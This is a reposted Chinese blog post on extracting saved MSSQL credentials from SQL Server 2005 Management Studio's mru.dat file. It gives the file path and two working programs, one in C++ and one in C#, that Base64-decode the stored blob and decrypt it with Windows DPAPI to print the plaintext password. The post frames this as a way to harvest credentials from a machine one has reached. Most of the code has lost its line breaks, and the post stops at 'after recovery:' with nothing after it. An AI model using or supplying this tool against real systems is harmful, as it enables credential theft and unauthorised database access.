获取本机MSSQL保存凭证

本文转自王子博客：http://www.cnblogs.com/killbit/p/4355950.html

首先要感谢哥们对我的指点，多谢。

当我们遇到类似情况下，如何获取保存在MSSQL工具里的凭证呢？

//如果对方连接地址后面加了IP\sqlexpress 连接的时候你也记得加上，不然即使密码正确，也会说登录失败。

通过和哥们讨论研究分析以及查找资料，知道了密码存放的地方：

C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\Tools\ShellSEM\mru.dat (当前MSSQL 连接工具为2005)

我们通过C32来查看MRU.DAT，会发现一串BASE64编码：

这个就是我们的保存的凭证，但是并不是直接还原BASE64就可以了，需要DECODE后还需要DPAPI来进行解密：

代码如下：

// Encode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <cstdlib>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib") 
using namespace std;int Base64Decoder(char *input, unsigned char *output)
{char base64string[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";BYTE dataBuffer[4];BYTE outputBuffer[3];BYTE finalBuffer[1000];int count=0;int padCount=0;int length;length = strlen(input);//Validate the data for BASE64if( length % 4 ){printf("%s - Invalid base64 data is supplied %s (%d) ", input, length);return 0;}//count the no of paddingif (input[length-1] == '=')padCount++;if (input[length-2] == '=')padCount++;// Process 4 chars in each loop to produce 3 charsfor (int i=0; i < length; i += 4){// Populate data buffer with position of Base64 characters for// next 4 bytes from encoded datafor (int j=0; j < 4 && (i + j < length); j++) dataBuffer[j] = ( (int)strchr(base64string, input[i+j]) - (int)base64string );//Decode data buffer back into bytesoutputBuffer[0] = (dataBuffer[0] << 2) + ((dataBuffer[1] & 0x30) >> 4);outputBuffer[1] = ((dataBuffer[1] & 0x0f) << 4) + ((dataBuffer[2] & 0x3c) >> 2);        outputBuffer[2] = ((dataBuffer[2] & 0x03) << 6) + dataBuffer[3];// Add all non-padded bytes in output buffer to decoded datafor (int k = 0; k < 3; k++)finalBuffer[count++]=outputBuffer[k];}count = count-padCount;//copy the decoded data into input buffermemcpy(output, finalBuffer, count);output[count]='\0';printf("Base64 decoded string is [%s] (%d) ", output, count);//    std::cout << "11111" << std::endl;std::cout << finalBuffer << std::endl;return count;
}int main(int argc,char** argv)
{unsigned char output[1000] = {0};//Base64Decoder("ZnVja3lvdQ==",output);int i=Base64Decoder("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A==",output);if (i == 0){printf("Encode error\r\n");return -1;}DATA_BLOB DataPassword;DATA_BLOB DataOutput;DataPassword.cbData = i;DataPassword.pbData = output;if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt Mssql password{wcout << "Mssql credence Password Length: " << DataOutput.cbData << "\r\n"; wcout << "Mssql credence Password: " << (wchar_t*)DataOutput.pbData; }else{wcout << "Error";
　　　　 return -1;}return 0;}

还有一份C#，是我哥们写的：

using System;
using System.Collections.Generic;
//using System.Linq;
using System.Text;namespace Mssql
{class Program{static void Main(string[] args){Console.WriteLine(Encoding.Unicode.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A=="), null, System.Security.Cryptography.DataProtectionScope.LocalMachine)));}}
}

还原后：